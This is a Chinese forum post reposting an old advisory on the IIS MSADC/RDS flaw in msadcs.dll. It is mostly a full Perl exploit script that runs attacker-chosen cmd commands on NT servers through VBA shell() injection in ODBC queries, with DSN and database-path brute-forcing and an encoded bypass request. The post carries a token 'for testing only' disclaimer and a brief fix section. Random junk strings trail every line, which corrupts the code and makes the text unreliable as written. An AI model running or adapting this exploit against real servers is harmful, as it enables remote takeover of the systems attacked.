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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) rt_%_f>qd  
5T:e4U&  
涉及程序: _o'ii VDuD  
Microsoft NT server -ce N}Cb3  
Xg^`fRg =T  
描述: <wW#Wnc]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 K``MS  
Cf91#% :cN  
详细: =$X5O&E3'  
如果你没有时间读详细内容的话,就删除: <ZSH1~<{6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 58DkVQ6  
有关的安全问题就没有了。 $.a<b^.Xi  
;ug& v C  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 IX$dDwY|O>  
n!2"pRIi  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =kp #v  
关于利用ODBC远程漏洞的描述,请参看: f7Y0L8D  
=ps3=D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "T=Z/@Vy  
zflq|dW  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %YkJ A:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :1^ R$0d  
b|^g51v  
这里不再论述。 'Ybd'|t{}  
?3D|{  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ;PCnEs  
VUpa^R  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset z#ab V1 Xi  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! V7[6jW gH  
m2F2  
n+QUT   
#将下面这段保存为txt文件,然后: "perl -x 文件名" Jr$,w7tQn@  
}TY}sr  
#!perl O-J;iX}  
# 3=5K7 F  
# MSADC/RDS 'usage' (aka exploit) script gHdNqOy c  
# }Qyuy~-&^  
# by rain.forest.puppy 4[m})X2(  
# AFE6@/'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !~Gx@Ro  
# beta test and find errors! )hs"P%Zg  
'n4Ro|kA  
use Socket; use Getopt::Std; 8mjPa^A  
getopts("e:vd:h:XR", \%args); I L ]uw   
BmR++?L  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ,cZhkXd  
Uc%n{ a-a  
if (!defined $args{h} && !defined $args{R}) { 5pSo`)  
print qq~ 4<}!+X7m  
Usage: msadc.pl -h <host> { -d <delay> -X -v } uu ahR  
-h <host> = host you want to scan (ip or domain) /kV3[Rw+  
-d <seconds> = delay between calls, default 1 second 1P4cB w%  
-X = dump Index Server path table, if available <7'`N\a  
-v = verbose G&,1 NjSi  
-e = external dictionary file for step 5 KYE)#<V}@  
aF*KY<w  
Or a -R will resume a command session p]h;M  
\WS2g"(  
~; exit;} nhV\<  
9 5bi W  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 21NGsG  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} PLD&/SgP*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L\0;)eJ#M  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); NSe H u k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} w`BY>Xft0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ] V|hDU=t  
gu?e%]X3  
if (!defined $args{R}){ $ret = &has_msadc; o>|&k]W/  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =MR.*m{  
/{1sU}k-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" h/oRWl0r  
. "cmd /c "; 9NF2a)&~  
$in=<STDIN>; chomp $in; /my5s\;s|z  
$command="cmd /c " . $in ; %MG{KG=&o  
*Bfo"["0.  
if (defined $args{R}) {&load; exit;} ))T@U?r  
PP*6nW8  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; EPEWyGw  
&try_btcustmr; ;R5@]Hg6q  
j1zrjhXI  
print "\nStep 2: Trying to make our own DSN..."; ML_$/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^aG$9N<\  
oX=dJJ E  
print "\nStep 3: Trying known DSNs..."; T`?7z+2A  
&known_dsn; su$IXI#R-&  
$>JfLSyC  
print "\nStep 4: Trying known .mdbs..."; '/OcJVSR  
&known_mdb; J#.f%VJ  
$-D}y:  
if (defined $args{e}){ <OH{7>V  
print "\nStep 5: Trying dictionary of DSN names..."; y+\kZIqX  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,NO2{Ha$  
l4s*+H$vd?  
print "Sorry Charley...maybe next time?\n"; SND@#?hiO  
exit; !dQmg'_V  
RWg'W,v=!  
############################################################################## W [*Go  
-F. c<@*E  
sub sendraw { # ripped and modded from whisker K`=9"v'f+  
sleep($delay); # it's a DoS on the server! At least on mine... mjQZ"h0  
my ($pstr)=@_; ZUyS+60  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^h$^j  
die("Socket problems\n"); XE>w&  
if(connect(S,pack "SnA4x8",2,80,$target)){ X-=4Z9  
select(S); $|=1; ^B_SAZ&%%  
print $pstr; my @in=<S>; y Nc@K|  
select(STDOUT); close(S); M7[GwA[Z +  
return @in; C66 9:%  
} else { die("Can't connect...\n"); }} eMV{rFmT  
A"B#t"  
############################################################################## uTdx`>M,O  
7|HIl=  
sub make_header { # make the HTTP request 7lx" X0w*m  
my $msadc=<<EOT O#<F"e;$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Gx7bV}&PN  
User-Agent: ACTIVEDATA Z%Pv,h'Q  
Host: $ip XU`ly3!  
Content-Length: $clen v <Ywfb  
Connection: Keep-Alive \.aKxj5  
/1v:eoF;  
ADCClientVersion:01.06 -Qn l)JB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 f\rE{%  
%aI,K0\  
--!ADM!ROX!YOUR!WORLD! naro  
Content-Type: application/x-varg DfU]+;AE  
Content-Length: $reqlen 3ey.r%n  
o}&{Y2!x  
EOT NQGa=kXeJ  
; $msadc=~s/\n/\r\n/g; U(PW$\l  
return $msadc;} Q #X'.](1  
dVPY07P  
############################################################################## [8<0Q_?,  
(q0vql  
sub make_req { # make the RDS request +I\54PBws  
my ($switch, $p1, $p2)=@_; ymp ik.'  
my $req=""; my $t1, $t2, $query, $dsn; <-mhz`^  
(j~T7og  
if ($switch==1){ # this is the btcustmr.mdb query 2FW"uYA;6  
$query="Select * from Customers where City=" . make_shell(); ]WzeJ"r {3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \#PZZH%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} diNAT`|?#  
z9:yt5ar  
elsif ($switch==2){ # this is general make table query P:_bF>r ?  
$query="create table AZZ (B int, C varchar(10))"; #sg*GK+|:R  
$dsn="$p1";} aZ|?i }  
E]v]fy"  
elsif ($switch==3){ # this is general exploit table query #1C]ZV] B  
$query="select * from AZZ where C=" . make_shell(); 73 4t  
$dsn="$p1";} >S-JAPuO  
vsyg u  
elsif ($switch==4){ # attempt to hork file info from index server oY5`r)C7  
$query="select path from scope()"; jU kxA7 }}  
$dsn="Provider=MSIDXS;";} 6yBd9=3K  
-uu&{$  
elsif ($switch==5){ # bad query \4LTViY]  
$query="select"; _-sFJi8B  
$dsn="$p1";} >gs_Bzy]  
Q)y5'u qZ  
$t1= make_unicode($query); dF09_nw  
$t2= make_unicode($dsn); : 5['V#(o  
$req = "\x02\x00\x03\x00"; :<s`)  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2X[oge0@  
$req.= "\x00\x00" . $t1 ; :h |]j[2p  
$req.= "\x08\x00" . pack ("S1", length($t2)); |AacV  
$req.= "\x00\x00" . $t2 ; Mvue>)g~>  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; wx[m-\  
return $req;}  }JWkV1  
*`|xa@1v`  
############################################################################## ;c)( 'k<  
: 8j7}'  
sub make_shell { # this makes the shell() statement zd)QCq  
return "'|shell(\"$command\")|'";} @D !*@M6  
jVLJ qWP'!  
############################################################################## M| j=J{r  
#Q)r6V:  
sub make_unicode { # quick little function to convert to unicode lz ::6}  
my ($in)=@_; my $out; ?pfr^ !@$  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G&Dl($  
return $out;} 83I 5n&)  
!4cY^4>o  
############################################################################## j}B86oX  
^H7xFd|>  
sub rdo_success { # checks for RDO return success (this is kludge) W;cY g.W2  
my (@in) = @_; my $base=content_start(@in); lZ7 $DGe  
if($in[$base]=~/multipart\/mixed/){ ~@Q ]@8Tv\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Vs{\ YfF  
return 0;} n}[S  
0ug&HEl_w  
############################################################################## Z)$@1Q4P?1  
zRD-[Z/-  
sub make_dsn { # this makes a DSN for us 'fGKRd|)  
my @drives=("c","d","e","f"); "OK[uug  
print "\nMaking DSN: "; $ ,]U~7S  
foreach $drive (@drives) { T@i* F M  
print "$drive: "; ZAU#^bEQB  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 9]w?mHslE  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" YI;iG[T,&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); T]Ai{@i  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; D>7J[ Yxg-  
return 0 if $2 eq "404"; # not found/doesn't exist 5qW>#pTFVV  
if($2 eq "200") { |%F,n2  
foreach $line (@results) { LtX53c  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} MjQju@  
} return 0;} ^d{5GK'  
_p%n%Oce  
############################################################################## d?J&mLQ6  
<{bxOr+  
sub verify_exists { qD ?`Yd  
my ($page)=@_; x51R:x(p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e%L[bGW'  
return $results[0];} T:Nk9t$W7@  
'UWkJ2:!  
############################################################################## 0V>Ho H   
(^y"'B  
sub try_btcustmr { T9w=k)  
my @drives=("c","d","e","f"); 6(d6Uwc`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^M6lF5  
m<-!~ ew  
foreach $dir (@dirs) { e }?.3,?  
print "$dir -> "; # fun status so you can see progress 'xj5R=V  
foreach $drive (@drives) { <MkvlLu((o  
print "$drive: "; # ditto y42 Cg  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  jK]1X8  
$reqlenlen=length( "$reqlen" ); S\N1qux{  
$clen= 206 + $reqlenlen + $reqlen; =dDPQZEin  
4k@n5JNa  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ./k7""4   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =X7kADRq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} aF^N  Ye  
gtu<#h(  
############################################################################## }8Y! -qX  
rx2'].  
sub odbc_error { 8R3{YJ6@T  
my (@in)=@_; my $base; Fb]+h)on  
my $base = content_start(@in); =;uMrb4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b/:wpy+9Z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cZ:jht  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F/5G~17  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .yZLC%}  
return $in[$base+4].$in[$base+5].$in[$base+6];} -9t"$)&  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %o%V4K*  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 37zB X~  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ?yef?JI$p  
6(`N!]e*L  
############################################################################## Cj8&wz}ez  
I!Z`'1"  
sub verbose { WDIin6u-  
my ($in)=@_; C LaQE{  
return if !$verbose; !\7`I}:  
print STDOUT "\n$in\n";} B~Kx Up  
W`G bo uxd  
############################################################################## O0qG 6a  
<@ .e.H  
sub save { I </P_:4G  
my ($p1, $p2, $p3, $p4)=@_; ?CQE6ch  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  Ol }5ry  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; G)?*BH  
close OUT;}  lrv-[}}  
]H n:c'aT  
############################################################################## p<r<Y %  
_R ii19k  
sub load { hUlRtt  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >+dS PI  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); cpa" ,8  
@p=<IN>; close(IN); kuH%aM<R  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  <J;O$S  
$target= inet_aton($ip) || die("inet_aton problems"); XZ |L D#  
print "Resuming to $ip ..."; `Ow]@flLI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1YV1 Xnn,  
if($p[1]==1) { ]jhi"BM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; CqnHh@]nu  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Pw<?Dw]m  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 71nZi`AR  
if (rdo_success(@results)){print "Success!\n";} 5qnei\~  
else { print "failed\n"; verbose(odbc_error(@results));}} %1A8m-u]M  
elsif ($p[1]==3){ SiaNL:  
if(run_query("$p[3]")){ 7#E/Q~]'6  
print "Success!\n";} else { print "failed\n"; }} $vXY"-k  
elsif ($p[1]==4){ Z2]0brV  
if(run_query($drvst . "$p[3]")){ uQW)pD{_  
print "Success!\n"; } else { print "failed\n"; }} 7T)y"PZ  
exit;} Z3TCi7,m  
o!BCR:  
############################################################################## ,'(|,f42  
_;PQt" ]  
sub create_table { oT{9P?K8  
my ($in)=@_; 1!1JT;gG^9  
$reqlen=length( make_req(2,$in,"") ) - 28; (sKg*G2  
$reqlenlen=length( "$reqlen" ); 7I[[S!((s  
$clen= 206 + $reqlenlen + $reqlen; <9pI~\@w  
my @results=sendraw(make_header() . make_req(2,$in,"")); =cl#aS}e8  
return 1 if rdo_success(@results); aftt^h  
my $temp= odbc_error(@results); verbose($temp); j>JBZ#g  
return 1 if $temp=~/Table 'AZZ' already exists/; R9A:"sJ  
return 0;} 66?`7j X  
^N<aHFF  
##############################################################################  GhfhR^P  
hFA |(l6  
sub known_dsn { D/=05E%[81  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go oqwW  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ti+e U$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _W(xO |,M  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1^$hbRq  
-"xAeI1+  
foreach $dSn (@dsns) { X{#^O/  
print "."; ODu/B'*  
next if (!is_access("DSN=$dSn")); PNAvT$0LaZ  
if(create_table("DSN=$dSn")){ IA0 vSF:  
print "$dSn successful\n"; ]CP5s5  
if(run_query("DSN=$dSn")){ 9mvy+XD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { KN_n:`cH{  
print "Something's borked. Use verbose next time\n";}}} print "\n";} DH.`  
S<]k0bC  
############################################################################## l atm_\  
GThGV"  
sub is_access { ruagJS)+  
my ($in)=@_; TgV-U  
$reqlen=length( make_req(5,$in,"") ) - 28; X#axCDM-  
$reqlenlen=length( "$reqlen" ); AT t.}-  
$clen= 206 + $reqlenlen + $reqlen; ?T73BL=  
my @results=sendraw(make_header() . make_req(5,$in,"")); 6 T4"m  
my $temp= odbc_error(@results); iOa<=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <6]Hj2  
return 0;} MDa[bQ NM  
FsUH/Y y  
############################################################################## 7V=deYt_p  
5%(  
sub run_query { 9hK8dJw  
my ($in)=@_; rMG[,:V  
$reqlen=length( make_req(3,$in,"") ) - 28; im<!JMI  
$reqlenlen=length( "$reqlen" ); ;Uch  
$clen= 206 + $reqlenlen + $reqlen; 0e>?!Z E  
my @results=sendraw(make_header() . make_req(3,$in,"")); A["6dbvv  
return 1 if rdo_success(@results); MV<)qa T  
my $temp= odbc_error(@results); verbose($temp); Y]R=z*i%  
return 0;} 5Qg*j/z?  
J8FzQ2  
############################################################################## 5D3&E_S  
~xam ;]2  
sub known_mdb { K&._fG  
my @drives=("c","d","e","f","g"); aU +uPP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D3 +|Os)  
my $dir, $drive, $mdb; B7A.~' =  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `o_i+?E  
oVuIHb0w  
# this is sparse, because I don't know of many lKQjG+YF  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  svo%NQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r_ 9"^Er  
"\\system32\\certmdb.mdb", ;,/G*`81B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Z^F>sUMR  
t re`iCH~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ViOXmK"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U2_;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", $m.'d*e5  
"\\cfusion\\cfapps\\security\\realm_.mdb", L(y~ ,Kc  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", V[44aN  
"\\cfusion\\database\\cfexamples.mdb", V!e`P  
"\\cfusion\\database\\cfsnippets.mdb", Zjc/GO  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", M(^IRI-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *}r6V"pH~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ,^iT,MgNNf  
"\\cfusion\\database\\smpolicy.mdb", K/(Z\lL  
"\\cfusion\\database\cypress.mdb", }&ew}'*9)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {dl@ #T u  
"\\website\\cgi-win\\dbsample.mdb", UBwYwm0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 1{xkAy0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A[88IMZs  
); #these are just &6Wim<*  
foreach $drive (@drives) { @bFl8-  
foreach $dir (@dirs){ Y^?PHz'Go  
foreach $mdb (@sysmdbs) { kvN6K6  
print "."; s;[64ca]Q  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \iwUsv>SB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ijNI6_eU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ xNVSWi,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Iak06E  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RoD9  
MIv,$  
foreach $drive (@drives) { /3`fO^39Ta  
foreach $mdb (@mdbs) { {2&MyxV  
print "."; 6:TA8w|  
if(create_table($drv . $drive . $dir . $mdb)){ oW/H8q<wY  
print "\n" . $drive . $dir . $mdb . " successful\n"; T 6rjtq  
if(run_query($drv . $drive . $dir . $mdb)){ n22OPvp  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; VS<w:{*  
} else { print "Something's borked. Use verbose next time\n"; }}}} apm,$Vvjy  
} <daBP[  
iEBxBsz_  
############################################################################## zL:k(7E  
0Szt^l7  
sub hork_idx { 8g 2'[ci$q  
print "\nAttempting to dump Index Server tables...\n"; w >#.id[k  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; y=WCR*N  
$reqlen=length( make_req(4,"","") ) - 28; nqujT8  
$reqlenlen=length( "$reqlen" ); }Mh`j $  
$clen= 206 + $reqlenlen + $reqlen; MW.,}f  
my @results=sendraw2(make_header() . make_req(4,"","")); E'_$?wWn5  
if (rdo_success(@results)){ w3oe.hWP3N  
my $max=@results; my $c; my %d; (<5&<JC{  
for($c=19; $c<$max; $c++){ N%8aLD  
$results[$c]=~s/\x00//g; ZltY_5l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; BO=j*.YKy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Js8d{\0\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Q92hI"  
$d{"$1$2"}="";}  AQz&u  
foreach $c (keys %d){ print "$c\n"; } vn=0=(  
} else {print "Index server doesn't seem to be installed.\n"; }} e/u (Re  
2Y{r2m|o  
############################################################################## x\XOtjJr  
N]@e7P'9F  
sub dsn_dict { u'EzYJ7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bG9$&,  
while(<IN>){ -qndBS  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %L;'C v  
next if (!is_access("DSN=$dSn")); ?f[U8S}  
if(create_table("DSN=$dSn")){ qw%wyj7  
print "$dSn successful\n"; H;eOrX {GT  
if(run_query("DSN=$dSn")){ 2(sq*!tX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6P*2Kg`  
print "Something's borked. Use verbose next time\n";}}} j*)K> \  
print "\n"; close(IN);} )OcG$H NK  
-nrfu)G  
############################################################################## \?.Tq24  
7Cj6Kw5k  
sub sendraw2 { # ripped and modded from whisker g{06d~Y  
sleep($delay); # it's a DoS on the server! At least on mine... 86\B|!   
my ($pstr)=@_; Nt'u;0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !>5!Fb=Sy  
die("Socket problems\n"); (t)a u  
if(connect(S,pack "SnA4x8",2,80,$target)){ /?P="j#u  
print "Connected. Getting data"; x,SzZ)l-9  
open(OUT,">raw.out"); my @in; {$mj9?n=v  
select(S); $|=1; print $pstr; GT"gB$Mh  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} u ?n{r  
close(OUT); select(STDOUT); close(S); return @in; d4zqLD$A  
} else { die("Can't connect...\n"); }} +p:@,_  
^yB>0/{)z  
############################################################################## 0Bpix|mq  
B}y-zj; T  
sub content_start { # this will take in the server headers |YAnd=$  
my (@in)=@_; my $c; 7EAkY`Op  
for ($c=1;$c<500;$c++) { ;ywQk| r  
if($in[$c] =~/^\x0d\x0a/){ %v(\;&@  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } FWbA+{8  
else { return $c+1; }}} Q@lJ|  
return -1;} # it should never get here actually hVcV_  
\WeGO.i-  
############################################################################## <ZM8*bqi  
=,=tSp  
sub funky { isP4*g&%x  
my (@in)=@_; my $error=odbc_error(@in); }TCOm_Y/qL  
if($error=~/ADO could not find the specified provider/){ A;A>Q`JJF  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _ %HyXd  
exit;} _ADK8a6%)  
if($error=~/A Handler is required/){ tCdgtZm  
print "\nServer has custom handler filters (they most likely are patched)\n"; V0h  
exit;} w<]Wg^dyQ  
if($error=~/specified Handler has denied Access/){ A,T3%TE  
print "\nServer has custom handler filters (they most likely are patched)\n"; vK?{Z^J][  
exit;}} $iA`_H`W  
xv{iWJcs  
############################################################################## @:s|X  
T?+xx^wYk  
sub has_msadc { 3wBc`vJ!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {AY `\G  
my $base=content_start(@results); rtz%(4aS  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :h&*<!O2B`  
return 0;} 0r+%5}|-K  
;?9u#FRtw  
######################## S/ Y1NH  
5[|MO.CB$  
VlVd"jW  
解决方案: @Ooh}V#J  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll '%>$\Lv  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1(Kd/%]{  
l|fOi A*K  
拿出来充数 哈哈
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